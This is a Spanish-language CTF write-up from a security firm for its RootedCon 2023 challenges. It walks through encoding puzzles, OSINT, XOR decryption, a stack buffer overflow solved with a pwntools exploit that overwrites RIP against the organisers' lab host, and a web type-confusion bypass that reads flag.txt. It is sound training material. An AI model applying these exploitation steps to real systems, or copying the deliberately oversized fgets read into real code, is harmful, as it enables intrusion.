RootedCon Ed. 13 — CTF writeup

Carlos Fernández
Red Squadron
Published in
12 min readMar 29, 2023

--

La RootedCon es desde hace ya unos cuantos años una cita obligada para los profesionales de la ciberseguridad en España. El equipo de Incide lleva mucho tiempo asistiendo y de hecho, hemos impartido varias charlas en varias ediciones (2019, 2020, 2022 y 2023).

Este año decidimos lanzar un CTF (https://www.incide.es/ctf.html) para regalar un vale de 200€ en PcComponentes al asistente de la RootedCon que solucionase primero todos los retos. En este artículo os pesentaremos el writeup del CTF, que dejaremos abierto hasta el día 2 de mayo por si queréis practicar.

Este writeup, al igual que los retos del CTF, ha sido elaborado por varios analistas de Incide

La tarjeta

La primera prueba del CTF empieza diciéndonos que encontremos la flag oculta de la tarjeta de visita que repartimos en nuestro stand dentro del recinto de RootedCon 2023.

Si nos fijamos en ella podemos observar que la numeración de la tarjeta es la siguiente: 7230 3074 3364 3133.

Viendo los números y utilizando un poco nuestra lógica, podemos deducir que se puede tratar de caracteres en formato ASCII o hexadecimal que se han agrupado por parejas para hacer la similitud con una tarjeta de crédito.

Si cogemos un conversor online (por ejemplo http://www.unit-conversion.info/texttools/hexadecimal/) y escribimos dicha numeración, nos mostrará automáticamente la flag oculta.

¿Fácil, verdad? =)

El Banner de INCIDE

Si pulsamos sobre el enlace de este reto, nos redirige a la siguiente URL https://www.incide.es/INCIDE.png, la cuál nos muestra el logo corporativo de la empresa:

Si descargamos la imagen y le pasamos la herramienta exiftool para analizar sus metadatos, podremos observar que el creador de la imagen es un usuario denominado 4br4h4mP4s4musk.

Si buscamos el nombre de usuario en Google para obtener más información, no nos devolverá ningún resultado.

Tras indagar en las principales redes sociales de hoy en día, podemos finalmente identificar el usuario en la plataforma de Twitter.

Si buscamos entre todas sus publicaciones veremos que hace mención a un proyecto de GitHub denominado Tesla-Battery-Charger-Reminder, bajo la URL https://github.com/4br4h4mP4s4musk/Tesla-Battery-Charge-Reminder.

Si observamos los comentarios de los commits, nos llama bastante la atención uno denominado “Changes”. Al hacer click encima de él para ver los cambios, podemos observar como en la línea 115 hay un comentario eliminado codificado en base64.

Utilizando la herramienta CyberChef (https://gchq.github.io/CyberChef/) insertamos el valor en base64 y lo decodificamos.

Al obtener el resultado, nos llama bastante la atención el valor “rot13” que se encuentra al final de los caracteres. Si añadimos a la receta de CyberChef la decodificación en ROT13, obtendremos la flag correcta de nuestro reto.

¿Fácil, verdad? =)

The pirate flag

Empezamos el reto con un fichero .eml:

Este fichero tiene un fichero adjunto llamado p4rr0t.7z, pero que al tratar de descomprimir vemos que está protegido con contraseña.

Si observamos las cabeceras del correo identificamos un campo que nos llama la atención:

El campo Importance tiene un texto codificado en base64 cuando lo esperado sería un valor en ASCII.

Al decodificar el campo obtenemos el siguiente string: “blackbeard”.

Si usamos “blackbeard” como contraseña podemos descomprimir el fichero “p4rr0t.7z”, obteniendo un ejecutable con el nombre “p4rr0t.exe”.

Si intentamos ejecutar el binario vemos que no sucede nada, por lo que vamos a realizar un análisis estático. Con tan solo revisar las Strings del binario vemos contenido interesante:

Identificamos los strings “ZmxhZ3s=” y “c2F2dnl9”, que aparentemente parecen estar en Base64. Si decodificamos su contenido obtenemos el flag.

Nota: Otra manera habría sido debuggeando el binario, dado que el programa tan solo guarda esos dos strings en dos variables y las concatena en ASCII.

Estilo Conti

El reto presenta un código que cifra una flag mediante un proceso de XOR byte a byte con un valor inicial de aux = 0x33. La flag cifrada resultante es luego codificada como una cadena de bytes en UTF-8 y se imprime en la salida.

El código de cifrado es el siguiente:

flag = b"inc1d3{REDACTED}"
aux = 0x33
enc_flag = ""
for i in range(len(flag)):
aux = aux^flag[i]
enc_flag += chr(aux)
enc_flag = enc_flag.encode('utf-8')
print(enc_flag)

Para descifrar la flag, podemos realizar el proceso inverso de XOR con el mismo valor inicial de aux = 0x33. Primero, debemos decodificar la flag cifrada en UTF-8 de bytes a string:

enc_flag = b'Z4Wf\x021J{5Vg\x030o\x0c<ReT\x0bxO6Zi\x14'
enc_flag_str = enc_flag.decode('utf-8')

Luego, podíamos realizar la operación XOR inversa para cada byte de la flag cifrada, utilizando la misma variable aux:

dec_flag = ""
aux = 0x33
for i in range(len(enc_flag_str)):
dec_byte = ord(enc_flag_str[i]) ^ aux
dec_flag += chr(dec_byte)
aux = ord(enc_flag_str[i])
print(dec_flag)

Esto genera la flag original descifrada: inc1d3{1Nc1d3_c0n71_s7yl3}

Prepare a Coffe

El código de la aplicación vulnerable es el siguiente:

Al conectarnos a la aplicación remota, obtenemos lo siguiente:

El programa en C solicita al usuario una receta secreta y posteriormente ejecuta una serie de funciones. El objetivo principal de este reto es explotar una vulnerabilidad conocida como Buffer Overflow.

Esto se debe a que se reserva un espacio de 1000 bytes para la variable recipe (línea 31):

char recipe[1000] = "Make around 35ml espresso…";

Pero al leer la entrada del usuario con fgets, se permite una lectura de hasta 2000 bytes (línea 34):

fgets(recipe,2000,stdin);

Como consecuencia, el buffer recipe se vuelve susceptible a un overflow, ya que se permite leer más bytes de los que puede almacenar. Al explotar este desbordamiento de buffer, es posible sobrescribir un puntero y modificar su dirección para manipular el programa a nuestro antojo.

Entendido esto, vamos a tratar de recrear el siguiente exploit, identificando paso a paso todo lo que necesitamos:

#!/usr/bin/python3
from pwn import *
io = remote("pwn-challenge.incide.rootedcon", 1337)
elf = ELF("./coffee")
offset = b"A" * 1016
payload = offset
payload += p64(elf.symbols["prepare"])
payload += p64(elf.symbols["coffee"])
io.sendline(payload)
io.interactive()

PASO 1. Creación de un patrón de bytes con una longitud específica

Este paso nos permite identificar de manera precisa la posición de la memoria en la que se encuentra un determinado valor o cadena.

Mediante el uso de la herramienta “pattern_create” que viene por defecto en la suite de Metasploit, crearemos un patrón de caracteres que permita identificar cuantos de ellos han hecho falta para llegar a sobrescribir el registro RIP.

Es muy importante, que el programa no llegue a “petar” por completo, porque de lo contrario el patrón de datos que sobrescribirá el RIP no coincidirá con el nuestro. Para evitar esto, en vez de identificar el momento en el que se sobrescribe el RIP tirando por lo alto, es recomendable empezar de abajo hacia arriba (de menos bytes a más bytes hasta identificar el offset), en este caso generaré un patrón de 1020 bytes.

.\pattern_create.rb -l 1020

PASO 2. Identificación del byte exacto

El objetivo es identificar el byte exacto en el que se sobreescribe el puntero RIP, sin romper el programa.

Para poder hacer la depuración de una forma más cómoda, haré uso de la herramienta gdb.

Para cargar en el depurador gdb el binario ELF “coffee”:

gdb ./coffee

Para inicializar el funcionamiento del programa “coffee”:

(gdb) run

En este momento ya tenemos arrancado el programa dentro del depurador y el mismo ya está a la espera de recibir los datos que se almacenaran en recipe. Es momento de explotar el Buffer Overflow, copiaremos y pegaremos la salida de la creación del patrón que recordemos que se ha generado una longitud de 1020 bytes.

Segmentation fault, la teoría del desbordamiento de buffer se confirma.

Para poder identificar con qué patrón de caracteres se ha sobreescrito el RIP, miraremos desde el depurador el valor actual de él con:

(gdb) info registers rip

Podemos apreciar que el registro RIP, se ha sobreescrito con la siguiente dirección de memoria: 0xa39684238.

Para identificar exactamente en qué posición del patrón de caracteres generado con pattern_create se encuentra 0xa39684238, se puede utilizar la herramienta pattern_offset.rb, también perteneciente a la suite de Metasploit. Para ello le pasaremos el valor a buscar con “-q” y con “-l”, el valor que se ha obtenido y la longitud del patrón.

pattern_offset.rb -q 0xa39684238 -l 1020

Acabamos de identificar que a partir del byte 1016, el registro RIP se empieza a sobrescribir. En otras palabras, si por ejemplo hacemos:

python3 -c “pattern=’A’*1016 + ‘BBBB’; print(pattern)”

Y le pasamos el resultado al depurador de nuevo con el programa recién arrancado y revisamos el RIP:

Podemos apreciar que se ha sobrescrito el registro RIP con “BBBB” (42424242 en hexadecimal) y, por tanto, ya tenemos control del mismo.

Tener en cuenta que cuando hacemos uso de la herramienta pattern_offset.rb, lo que se hace para sacar el offset es:

  1. Para localizar la posición de un valor específico en el patrón generado, como 0xa39684238, se divide el valor en sus bytes individuales, quedando “0a 39 68 42 38”
  2. Los bytes del valor se invierten en su orden, ya que la arquitectura x86 es little-endian, lo que significa que los bytes se almacenan en el orden inverso al que se escriben. En el caso de 0xa39684238 (0a 39 68 42 38), la secuencia de bytes invertida sería “38 42 96 a3 0a”
  3. A continuación, se examina la secuencia de bytes invertida en el patrón generado, examinando cada posible posición del patrón hasta encontrar una coincidencia.
  4. Una vez que se detecta una coincidencia, pattern_offset.rb devuelve la posición de inicio de la coincidencia en bytes, contando desde el inicio del patrón. En nuestro caso: “[*] Exact match at offset 1016

PASO 3. Creación del exploit

En este punto ya tenemos todo lo necesario para recrear el exploit anteriormente mencionado.

Utilizaremos la librería PWN de python3, esto nos permitirá utilizar las siguientes funciones:

  • ELF: Carga el binario ELF en memoria de forma que junto con otras funcionalidades de la librería, se pueda obtener información como las direcciones de memoria de las funciones y de variables globales, entre otras.
  • elf.symbols[]: Es un diccionario que contiene los símbolos del archivo ELF cargado. Los símbolos son nombres que se utilizan para identificar direcciones en la memoria y pueden incluir funciones, variables globales y otras etiquetas.
  • p64: Se usa para convertir un entero en una cadena de bytes de 64 bits (8 bytes) Esta característica es útil cuando trabajamos con arquitecturas de 64 bits, ya que las direcciones de memoria tienen un tamaño de 64 bits.

Con la información actual podríamos escribir lo siguiente:

#!/usr/bin/python3
from pwn import *
io = remote("pwn-challenge.incide.rootedcon", 1337)
elf = ELF("./coffee")
offset = b"A" * 1016
payload = offset

Ahora es necesario plantear como podemos obligar al flujo de ejecución a que no ejecute la función a(), definida en la (línea 10–14), y ejecutada en la (línea 38). Para que no se sobreescriba el puntero fn_system ni la variable cmd y poder conseguir satisfactoriamente el siguiente flujo de ejecución y con ello la flag.

Queremos pasar de esto:

int main()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
char recipe[1000] = "Make around 35ml ...";
puts(recipe);
puts("Tell me your secret recipe: \n");
fgets(recipe,2000,stdin);
printf("\nYou have just prepared this recipe: %s\n",recipe);

prepare();
a();
coffee();

}

a esto:

int main()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
char recipe[1000] = "Make around 35ml ...";
puts(recipe);
puts("Tell me your secret recipe: \n");
fgets(recipe,2000,stdin);
printf("\nYou have just prepared this recipe: %s\n",recipe);

prepare();
coffee();

}

Ya con la información obtenida hasta ahora, podríamos hacer el siguiente exploit:

#!/usr/bin/python3

from pwn import *
io = remote("pwn-challenge.incide.rootedcon", 1337)
elf = ELF("./coffee")

offset = b"A" * 1016

payload = offset
payload += p64(elf.symbols["prepare"])
payload += p64(elf.symbols["coffee"])


io.sendline(payload)
io.interactive()

Los pasos que realiza el exploit son los siguientes:

  1. Se carga el binario en memoria.
  2. Se rellena el offset con basura.
  3. Se empieza la creación del payload, y se le pasa el offset.
  4. Averiguamos la ubicación de las direcciones de memoria donde se encuentran almacenadas las funciones “prepare()” y “coffe()” y se la pasamos al payload para sobreescribir el RIP con ellas.
  5. Enviamos el payload.
  6. ?????
  7. profit.

¡Lanzamos el exploit y… Bandera!

SeImpersonateFlag

En este desafío, se presenta una página web que permite el registro de usuarios y la lectura de archivos. El objetivo es conseguir leer el archivo flag.txt por lo que tenemos que conseguir suplantar al usuario flag.

El endpoint /register no valida el tipo de dato y podemos enviar un array en lugar de un string. Al convertir el array a string, se concatenan los diferentes elementos con comas. Por ejemplo, si el primer elemento es flag y el segundo test, el resultado al pasarlo a string sería flag,test”.

El código javascript en el lado servidor que procesa los datos es el siguiente:

users.push({username: username.toString(), password: password.toString(), timestamp: Math.floor(new Date().getTime())});

Podemos interceptar la petición y convertir el campo username en un array:

El servidor nos retornará lo siguiente:

En el endpoint de lectura de archivos, se aplica una expresión regular al nombre de usuario. Esta expresión regular coincide con todas las letras hasta el primer caracter que no sea una letra o un número. Entonces, cualquier nombre de usuario que empiece por “flag” y que luego tenga un caracter especial servirá para convertirse en “flag” después del regex y así poder leer el archivo flag.txt.

let ruta = path.join('flags', username.match(/^[0–9a-zA-Z]+/)[0] +'.txt');

Es importante destacar que el usuario resultante después del regex debe llamarse “flag”. De esta manera, podemos leer el archivo flag.txt, ya que si se llama de otra manera intentará leer un archivo inexistente (el archivo se calcula con el nombre del usuario concatenado con la extensión .txt).

Para resolver el desafío, primero enviamos un array al endpoint de registro con el primer elemento como “flag” y el segundo elemento como cualquier otra cosa. El resultado al pasarlo a string será “flag,cualquier_cosa”. Este usuario se convertirá en “flag” una vez que se le aplique la expresión regular que se utiliza antes de leer el fichero del usuario correspondiente. De esta manera, con el usuario “flag,cualquier_cosa”, conseguiremos leer el fichero flag.txt.

Es importante destacar que la solución puede variar, pero la lógica general debería ser la misma. A continuación se proporciona un método alternativo de conseguir la flag:

Esperamos que hayáis disfrutado del CTF y recordad que podéis practicar los proyectos de explotación y web hasta el día 2 de mayo de 2023.

¡Happy hacking!

--

--